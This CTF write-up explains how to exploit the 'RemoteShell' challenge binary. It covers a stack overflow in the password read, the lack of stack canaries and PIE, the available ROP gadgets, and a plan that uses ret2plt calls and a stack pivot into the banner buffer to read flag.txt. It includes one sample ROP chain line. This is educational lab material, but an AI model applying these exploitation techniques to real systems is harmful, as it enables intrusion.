hod24-ctf/remote_shell/writeup_en.md
2024-12-04 22:42:07 +01:00

5 KiB

Challenge description

RemoteShell - WIP

I've this WIP remote shell project. I want it to be super secure! (flag is in
./flag.txt)

Only the binary is provided (rsh) but the difficulty of the challenge would have been similar with the source code (main.c).

Binary analysis

The provided binary (rsh) reads the file banner.txt into a global buffer banner. After that it asks for username and password and checks if the password provided starts with "super_secret_password". If this checks fails, the program exits. If the check succeeds, the function prints two strings and return. The input from the user is read from standard input using read. We can see that the second read (the one reading the password) can overflow the buffer, as it reads 128 bytes into a 32bytes buffer. We can see that in the source code:

void remote_shell(void) {
    char username[32];
    char password[32];
    int n;

    read_string("login: ", username, sizeof(username));
    read_string("password: ", password, 128);
    if (strncmp(password, SECRET_PASSWORD, SECRET_PASSWORD_LEN) != 0)
        exit(0xc35f);
    printf("Welcome %s!\n", username);
    puts("TO BE IMPLEMENTED\n");

    return;
}

Exploitation

The binary is not protected with stack canaries:

$checksec rsh
[*] '/home/garulf/ctf_deploy/rsh/rsh'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
$

This means that we can overwrite the return address of the function. Also the binary is not PIE, so that the text and the data of the program are always loaded at the same addresses. We can then return-to-plt and re-use the functions imported by the program. The imported functions:

$rz-bin -zi rsh
[Imports]
nth vaddr      bind   type   lib name
---------------------------------------------------
1   ---------- GLOBAL FUNC       __libc_start_main
2   0x00401030 GLOBAL FUNC       strncmp
3   0x00401040 GLOBAL FUNC       puts
4   0x00401050 GLOBAL FUNC       setbuf
5   0x00401060 GLOBAL FUNC       printf
6   0x00401070 GLOBAL FUNC       close
7   0x00401080 GLOBAL FUNC       read
8   ---------- WEAK   NOTYPE     __gmon_start__
9   0x00401090 GLOBAL FUNC       open
10  0x004010a0 GLOBAL FUNC       exit

...

So we have everything we need to read the flag: open (to open ./flag.txt), read to read the flag from the file to memory and puts to write the flag in stdout. Of course we need to call the functions with the right arguments. To control the arguments of the functions, we use some rop gadgets. This is a 64bit binaries, so the arguments are passed to the function using the registers rdi, rsi and rdx for the first, second and third argument respectively. Let's check the available gadgets:

$ ipython -c 'from pwn import *; ROP(ELF("./rsh")).gadgets'
[*] Loaded 8 cached gadgets for './rsh'
Out[1]:
{4198419: Gadget(0x401013, ['add esp, 8', 'ret'], [8], 0xc),
 4198418: Gadget(0x401012, ['add rsp, 8', 'ret'], [8], 0xc),
 4198901: Gadget(0x4011f5, ['leave', 'ret'], ['ebp', 'esp'], 0x2540be403),
 4198781: Gadget(0x40117d, ['pop rbp', 'ret'], ['rbp'], 0x8),
 4198982: Gadget(0x401246, ['pop rdi', 'ret'], ['rdi'], 0x8),
 4198870: Gadget(0x4011d6, ['pop rdx', 'ret'], ['rdx'], 0x8),
 4199123: Gadget(0x4012d3, ['pop rsi', 'ret'], ['rsi'], 0x8),
 4198422: Gadget(0x401016, ['ret'], [], 0x4)}

we have all the gadgets we need as we can control rdi, rsi and rdx registers using the pop rdi, pop rsi and pop rdx gadgets.

We also need an area in memory to write the string "flag.txt" to use as open argument and also to store our flag read from the file. We can use the banner buffer for that.

So to recap, the plan is:

  • read from stdin into the buffer banner, and write the string "flag.txt"
  • invoke the function open, using the address of banner as argument. The fd number returned is predictable and it will be 3
  • use read to read from fd 3(flag.txt) into the buffer banner
  • use puts to print the flag

But there is a problem: the amount of stack we can overflow is limited, and so the chain can't be longer than to 128 bytes - len(super_secret_password)

we can partially overcome this problem by terminating each rop chain with the address of the function remote_shell. This way we will be prompted again for the password and we execute another "step".

For example, a possible chain could be:

rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])

But we still have a limit per "cycle", and you can't set 3 registers and call a function in the same cycle. I couldn't find a way to read from the file using less than three registers so I tried another approach to have longer chain. I first write a (almost) arbitrary long chain into the banner buffer, and then I use other gadgets to make rsp to point to the buffer banner. This way the banner buffer will be our fake stack, and we'll not have any length limitation.

You can find the full exploit in the expl.py script